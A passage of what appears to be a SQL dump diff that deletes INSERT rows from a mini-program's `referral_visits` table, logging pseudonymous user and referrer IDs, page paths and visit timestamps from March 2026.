'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:39:05'); -INSERT INTO `referral_visits` VALUES (544, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:39:05'); -INSERT INTO `referral_visits` VALUES (545, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:39:54'); -INSERT INTO `referral_visits` VALUES (546, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:39:54'); -INSERT INTO `referral_visits` VALUES (547, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:39:54'); -INSERT INTO `referral_visits` VALUES (548, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 09:48:03'); -INSERT INTO `referral_visits` VALUES (549, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 09:48:03'); -INSERT INTO `referral_visits` VALUES (550, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 09:48:03'); -INSERT INTO `referral_visits` VALUES (551, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-10 10:52:49'); -INSERT INTO `referral_visits` VALUES (552, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-10 10:52:49'); -INSERT INTO `referral_visits` VALUES (553, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 10:52:50'); -INSERT INTO `referral_visits` VALUES (554, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-10 10:53:14'); -INSERT INTO `referral_visits` VALUES (555, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-10 10:53:14'); -INSERT INTO `referral_visits` VALUES (556, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:53:14'); -INSERT INTO `referral_visits` VALUES (557, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:53:47'); -INSERT INTO `referral_visits` VALUES (558, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:53:57'); -INSERT INTO `referral_visits` VALUES (559, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/index/index', '2026-03-10 10:54:26'); -INSERT INTO `referral_visits` VALUES (560, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 10:54:26'); -INSERT INTO `referral_visits` VALUES (561, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:54:39'); -INSERT INTO `referral_visits` VALUES (562, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:54:57'); -INSERT INTO `referral_visits` VALUES (563, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:55:05'); -INSERT INTO `referral_visits` VALUES (564, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:55:10'); -INSERT INTO `referral_visits` VALUES (565, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:05:50'); -INSERT INTO `referral_visits` VALUES (566, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:05:50'); -INSERT INTO `referral_visits` VALUES (567, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:05:50'); -INSERT INTO `referral_visits` VALUES (568, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:06:26'); -INSERT INTO `referral_visits` VALUES (569, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:06:26'); -INSERT INTO `referral_visits` VALUES (570, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:06:27'); -INSERT INTO `referral_visits` VALUES (571, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:06:27'); -INSERT INTO `referral_visits` VALUES (572, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:06:27'); -INSERT INTO `referral_visits` VALUES (573, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:07:08'); -INSERT INTO `referral_visits` VALUES (574, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:07:08'); -INSERT INTO `referral_visits` VALUES (575, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:07:08'); -INSERT INTO `referral_visits` VALUES (576, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:11:42'); -INSERT INTO `referral_visits` VALUES (577, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:12:44'); -INSERT INTO `referral_visits` VALUES (578, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:12:44'); -INSERT INTO `referral_visits` VALUES (579, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:12:44'); -INSERT INTO `referral_visits` VALUES (580, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:14:16'); -INSERT INTO `referral_visits` VALUES (581, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:14:16'); -INSERT INTO `referral_visits` VALUES (582, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:14:18'); -INSERT INTO `referral_visits` VALUES (583, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:14:18'); -INSERT INTO `referral_visits` VALUES (584, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:14:19'); -INSERT INTO `referral_visits` VALUES (585, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:24:14'); -INSERT INTO `referral_visits` VALUES (586, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:24:14'); -INSERT INTO `referral_visits` VALUES (587, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:24:14'); -INSERT INTO `referral_visits` VALUES (588, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/chapters/chapters', '2026-03-10 11:38:02'); -INSERT INTO `referral_visits` VALUES (589, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:38:02'); -INSERT INTO `referral_visits` VALUES (590, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:38:35'); -INSERT INTO `referral_visits` VALUES (591, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:38:36'); -INSERT INTO `referral_visits` VALUES (592, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-10 11:38:41'); -INSERT INTO `referral_visits` VALUES (593, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-10 11:38:41'); -INSERT INTO `referral_visits` VALUES (594, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:38:50'); -INSERT INTO `referral_visits` VALUES (595, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:39:02'); -INSERT INTO `referral_visits` VALUES (596, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:39:30'); -INSERT INTO `referral_visits` VALUES (597, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:39:30'); -INSERT INTO `referral_visits` VALUES (598, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:39:30'); -INSERT INTO `referral_visits` VALUES (599, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:39:58'); -INSERT INTO `referral_visits` VALUES (600, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:40:05'); -INSERT INTO `referral_visits` VALUES (601, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:40:10'); -INSERT INTO `referral_visits` VALUES (602, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:40:10'); -INSERT INTO `referral_visits` VALUES (603, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:40:10'); -INSERT INTO `referral_visits` VALUES (604, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:40:11'); -INSERT INTO `referral_visits` VALUES (605, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:40:27'); -INSERT INTO `referral_visits` VALUES (606, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:40:27'); -INSERT INTO `referral_visits` VALUES (607, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:43:59'); -INSERT INTO `referral_visits` VALUES (608, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:43:03'); -INSERT INTO `referral_visits` VALUES (609, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:43:03'); -INSERT INTO `referral_visits` VALUES (610, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 12:43:03'); -INSERT INTO `referral_visits` VALUES (611, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:48:27'); -INSERT INTO `referral_visits` VALUES (612, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 12:48:27'); -INSERT INTO `referral_visits` VALUES (613, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:48:27'); -INSERT INTO `referral_visits` VALUES (614, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:50:40'); -INSERT INTO `referral_visits` VALUES (615, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:50:40'); -INSERT INTO `referral_visits` VALUES (616, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 12:50:40'); -INSERT INTO `referral_visits` VALUES (617, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:03:01'); -INSERT INTO `referral_visits` VALUES (618, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:03:01'); -INSERT INTO `referral_visits` VALUES (619, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 13:03:01'); -INSERT INTO `referral_visits` VALUES (620, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:44:17'); -INSERT INTO `referral_visits` VALUES (621, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:44:17'); -INSERT INTO `referral_visits` VALUES (622, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 13:44:18'); -INSERT INTO `referral_visits` VALUES (623, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5eVttIThJZivHtAredPgYDk', 'ogpTW5eVttIThJZivHtAredPgYDk', 'miniprogram', NULL, '2026-03-10 13:44:28'); -INSERT INTO `referral_visits` VALUES (624, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5eVttIThJZivHtAredPgYDk', 'ogpTW5eVttIThJZivHtAredPgYDk', 'miniprogram', NULL, '2026-03-10 13:44:28'); -INSERT INTO `referral_visits` VALUES (625, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5eVttIThJZivHtAredPgYDk', 'ogpTW5eVttIThJZivHtAredPgYDk', 'miniprogram', 'pages/read/read', '2026-03-10 13:44:28'); -INSERT INTO `referral_visits` VALUES (626, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:51:49'); -INSERT INTO `referral_visits` VALUES (627, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:51:49'); -INSERT INTO `referral_visits` VALUES (628, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 13:51:49'); -INSERT INTO `referral_visits` VALUES (629, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 13:51:58'); -INSERT INTO `referral_visits` VALUES (630, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 13:51:58'); -INSERT INTO `referral_visits` VALUES (631, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-10 13:51:59'); -INSERT INTO `referral_visits` VALUES (632, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:17:49'); -INSERT INTO `referral_visits` VALUES (633, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:17:49'); -INSERT INTO `referral_visits` VALUES (634, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 22:17:49'); -INSERT INTO `referral_visits` VALUES (635, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/read/read', '2026-03-10 22:18:15'); -INSERT INTO `referral_visits` VALUES (636, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/read/read', '2026-03-10 22:18:15'); -INSERT INTO `referral_visits` VALUES (637, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 22:18:42'); -INSERT INTO `referral_visits` VALUES (638, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 22:18:42'); -INSERT INTO `referral_visits` VALUES (639, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-10 22:18:43'); -INSERT INTO `referral_visits` VALUES (640, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/read/read', '2026-03-10 22:19:22'); -INSERT INTO `referral_visits` VALUES (641, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/index/index', '2026-03-10 22:19:22'); -INSERT INTO `referral_visits` VALUES (642, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/read/read', '2026-03-10 22:19:32'); -INSERT INTO `referral_visits` VALUES (643, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/read/read', '2026-03-10 22:19:32'); -INSERT INTO `referral_visits` VALUES (644, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:44:13'); -INSERT INTO `referral_visits` VALUES (645, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:44:13'); -INSERT INTO `referral_visits` VALUES (646, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:44:34'); -INSERT INTO `referral_visits` VALUES (647, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:44:34'); -INSERT INTO `referral_visits` VALUES (648, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 22:44:34'); -INSERT INTO `referral_visits` VALUES (649, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5VDkVXuX8gG2jYUmFh-e8dM', 'ogpTW5VDkVXuX8gG2jYUmFh-e8dM', 'miniprogram', 'pages/read/read', '2026-03-10 22:44:45'); -INSERT INTO `referral_visits` VALUES (650, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:49:53'); -INSERT INTO `referral_visits` VALUES (651, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:49:53'); -INSERT INTO `referral_visits` VALUES (652, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 22:49:53'); -INSERT INTO `referral_visits` VALUES (653, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:05'); -INSERT INTO `referral_visits` VALUES (654, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:05'); -INSERT INTO `referral_visits` VALUES (655, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:09'); -INSERT INTO `referral_visits` VALUES (656, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:14'); -INSERT INTO `referral_visits` VALUES (657, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:14'); -INSERT INTO `referral_visits` VALUES (658, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:17'); -INSERT INTO `referral_visits` VALUES (659, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:20'); -INSERT INTO `referral_visits` VALUES (660, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:57'); -INSERT INTO `referral_visits` VALUES (661, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:29:08'); -INSERT INTO `referral_visits` VALUES (662, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:17'); -INSERT INTO `referral_visits` VALUES (663, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:17'); -INSERT INTO `referral_visits` VALUES (664, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-11 02:29:17'); -INSERT INTO `referral_visits` VALUES (665, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:34'); -INSERT INTO `referral_visits` VALUES (666, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:34'); -INSERT INTO `referral_visits` VALUES (667, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-11 02:29:34'); -INSERT INTO `referral_visits` VALUES (668, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-11 02:29:36'); -INSERT INTO `referral_visits` VALUES (669, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-11 02:29:36'); -INSERT INTO `referral_visits` VALUES (670, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:29:36'); -INSERT INTO `referral_visits` VALUES (671, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:41'); -INSERT INTO `referral_visits` VALUES (672, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:41'); -INSERT INTO `referral_visits` VALUES (673, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-11 02:29:41'); -INSERT INTO `referral_visits` VALUES (674, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-11 02:29:43'); -INSERT INTO `referral_visits` VALUES (675, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-11 02:29:43'); -INSERT INTO `referral_visits` VALUES (676, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:29:43'); -INSERT INTO `referral_visits` VALUES (677, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:45'); -INSERT INTO `referral_visits` VALUES (678, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:45'); -INSERT INTO `referral_visits` VALUES (679, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-11 02:29:45'); -INSERT INTO `referral_visits` VALUES (680, 